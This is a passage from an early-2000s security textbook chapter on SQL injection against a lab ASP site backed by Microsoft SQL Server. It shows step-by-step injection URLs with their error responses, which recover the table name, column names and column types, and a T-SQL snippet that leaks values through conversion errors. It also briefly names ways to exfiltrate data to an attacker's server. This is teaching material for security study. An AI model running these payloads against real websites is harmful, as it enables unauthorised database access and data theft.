Tải bản đầy đủ
Phase 2. Reverse Engineering the Vulnerable Application

Phase 2. Reverse Engineering the Vulnerable Application

Tải bản đầy đủ

AU0888_C13.fm Page 521 Wednesday, October 1, 2003 6:09 AM

our malicious input. If this were a POSTed variable (sent in the body of the
HTTP request), we would use SPIKE Proxy’s rewrite request functionality to
manipulate it. However, because it is a GET variable, sent in the universal
resource locator (URL), we can just type it in on the URL line.
First we start with a simple back-quote (typically to escape quoting in
the ASP pages creation of the SQL query):
http://192.168.1.108/article3.asp?ID = '

That generates this error message:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed
quotation mark before the character string '' AND name ! = ' '.
/article3.asp, line 17

As you can see, it is the ODBC SQL Server Driver generating the error,
not the VBScript compiler (or the Jscript compiler). This means we have
been passed to the database. Not only that, but we now have part of the
request — the end of the request is “AND NAME ! = ‘.’ We can now assume
the whole request the ASP page is constructing looks something like this:
SELECT * FROM some table name WHERE some things possibly
happen AND some variable = OUR STRING AND name ! = ''

We also know which database we are talking to — Microsoft SQL Server.
Our next query is designed to test whether we can execute an arbitrary
SQL query:
http://192.168.1.108/article3.asp?ID = ';
SELECT%20*%20from%20dbo.sysdatabases

Response:
Error Type: Microsoft OLE DB Provider for ODBC Drivers
(0x80040E14) [Microsoft][ODBC SQL Server Driver]
[SQL Server]Unclosed quotation mark before the character
string ' AND name ! = ' './article3.asp, line 17

The response indicates we need to close our query with the comment
character ( — ) so we will try again with that.
http://192.168.1.108/article3.asp?ID =
';SELECT%20*%20from%20dbo.sysdatabases —

The response is a blank page. In some cases, you could expect on a
successful query to have the Web application respond with a lot of filler
information around, in this case, the article, but not with an actual article.
Dbo.sysdatabases is one of the system tables. It contains a set of values
indicating what databases were available on this system. Of course, we did
not get to see that data because the script did not return that data to our
© 2004 by CRC Press LLC

AU0888_C13.fm Page 522 Wednesday, October 1, 2003 6:09 AM

Web browser. However, we have gained reasonable certainty that our query
was executed or at least was not flagged as a syntax error. For advanced SQL
injection searching, we could have used any query that we thought would
have a chance of taking longer than an unsuccessful query should take to
determine whether we were getting arbitrary queries through.
We want to get some more information on exactly what query we are
dealing with, so we issue a query with a “having” statement.
Query: http://192.168.1.108/article3.asp?ID = 1' having
1 = 1 —

Response:
Error Type: Microsoft OLE DB Provider for ODBC Drivers
(0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL
Server]Column 'tblArticles.name' is invalid in the select
list because it is not contained in an aggregate function
and there is no GROUP BY clause./article3.asp, line 17

Now we have the table name and one column name. (The column
“name,” confusing though that is.)
We then use GROUP BY with the argument “name” to discover the next
column name.
Request: http://192.168.1.108/article3.asp?ID = 1' group by
name having 1 = 1 —

Response:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tblArticles.ID' is invalid in the select list because it
is not contained in either an aggregate function or the
GROUP BY clause.
/article3.asp, line 17

We then do this again:
Query: http://192.168.1.108/article3.asp?ID = 1' group by
name,id having 1 = 1 —

Response:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tblArticles.data' is invalid in the select list because it
is not contained in either an aggregate function or the
GROUP BY clause.
/article3.asp, line 17

© 2004 by CRC Press LLC

AU0888_C13.fm Page 523 Wednesday, October 1, 2003 6:09 AM

And again:
http://192.168.1.108/article3.asp?ID = 1' group by
name,id,data having 1 = 1 —

At which point we get:
"This is the first article on DaveDot, your site for SQL
Server news and information"

which means it successfully selected an article, because our query was
properly formed.
We now have the name of the table, the column names, and a pretty
good idea about the query that the ASP page forms when it goes to display
a page for us. What we do not know is the data types of the columns. We
will use the “cast” converter to help us determine that. Casting a variable
is converting it from one type to another. By converting types to the
extremely incompatible type “image,” we will elicit error messages as to
what type the column actually is. In case the type is actually of type
“image” (or a compatible type), the query will succeed. (It is actually quite
difficult to find a type that is not compatible with “int,” which is why we use
“image.” A type of “uniqueidentifier” also works quite well.
Query (here we get the type for the ID column):
http://192.168.1.108/article3.asp?ID = 1'%20group%20by%
20name,id,data%20having%20cast(id%20as%20image) = 1%20 —
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Explicit
conversion from data type int to image is not allowed.
/article3.asp, line 17

Query (we now get the type for the data column):
http://192.168.1.108/article3.asp?ID =
1'%20group%20by%20name,id,data%20having%20cast(data%20as%
20image) = 1%20 —

Response:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The text,
ntext, and image data types cannot be compared or sorted,
except when using IS NULL or LIKE operator.
/article3.asp, line 17

© 2004 by CRC Press LLC

AU0888_C13.fm Page 524 Wednesday, October 1, 2003 6:09 AM

Query (and likewise, the name column):
http://192.168.1.108/article3.asp?ID =
1'%20group%20by%20name,id,data%20having%20cast(name%20as%
20image) = 1%20 —

Response (it also appears to be a text — most likely a char or varchar):
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The text,
ntext, and image data types cannot be compared or sorted,
except when using IS NULL or LIKE operator.
/article3.asp, line 17

Another way to get the data types is to do something like this:
Query: http://192.168.1.108/article3.asp?ID =
1'%20group%20by%20name,id,data%20having%20name = 1%20 —

Response:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value 'First Article' to a column of
data type int.
/article3.asp, line 17

As you can see, the data type of name is a varchar, and its contents are
“First Article.”
So now we have the table name and the column names and their types.
This is all we will need to proceed to the next step.
Phase 3. Getting the Results of Arbitrary Queries
Many ways to establish two-way communications channels to an SQL server
exist. In our example, we are using a server on our local host to demonstrate
SQL injection, but in reality, the SQL server is usually behind a restrictive
firewall and has no ability to connect directly to the Internet.
This leaves us several options:
• Attempt to thwart the egress filters on the database server and
somehow get packets to the Internet (somewhat common).
• Attempt to tunnel queries through another database server on the
target network until they finally get to us (rather unlikely).
• Insert the results of our queries into a table on the database that
is used by the Web application to generate a Web page we can
access (common).

© 2004 by CRC Press LLC

AU0888_C13.fm Page 525 Wednesday, October 1, 2003 6:09 AM

• Use error messages as a means of getting data back from the database server, such as the “First Article” string above (common).
Getting packets back to the Internet may be possible on some configurations. You can tunnel data through DNS or use stored procedures to
execute commands that will TFTP or otherwise transfer files between an
outside server under your control and the database server. You can even
use OpenRowSet() to make a connection between your target database
server and a database server you control, over any TCP port, and get
your results that way.
However, in the event that no network connectivity exists between
your target database server and the Internet or any network you have
access to, you can still plunder the database without regards to the network topology.
We will first explain here a generic method for exploiting Microsoft SQL
Server (or most other similar SQL servers) via the error messages
produced on certain queries. We have already seen that certain queries
can return the text contents of variables. To make this clear, we now give
you an example SQL script, which will show that Microsoft SQL error
messages can be used to display arbitrary variables:
DECLARE @tmp0 varchar(8000)
set @tmp0 = '1'
set @tmp0 = @tmp0+'a'
SELECT * from master..sysfiles1 group by
status,fileid,name,filename
having @tmp0 = 1
Result:
Syntax error converting the varchar value '1a' to a column
of data type int.
State:22005,Native:245,Origin:[Microsoft][ODBC SQL Server
Driver][SQL Server]

Given a valid table (in this case, we use master..sysfiles1) and its column
names (these are standard for this system table and should be the same on
any Microsoft SQL server), we can output the contents of tmp0, regardless
of what type they are, including integer, which we automatically cast to a
string and append a lowercase “a” to.
Given this ability, and the ability to execute multiple SQL statements in
a row, we can then build queries that iterate through any table on the database and print out all of its members. To do this, you have to know that the
system table sysobjects contains a list of all the tables and stored procedures on the database.

© 2004 by CRC Press LLC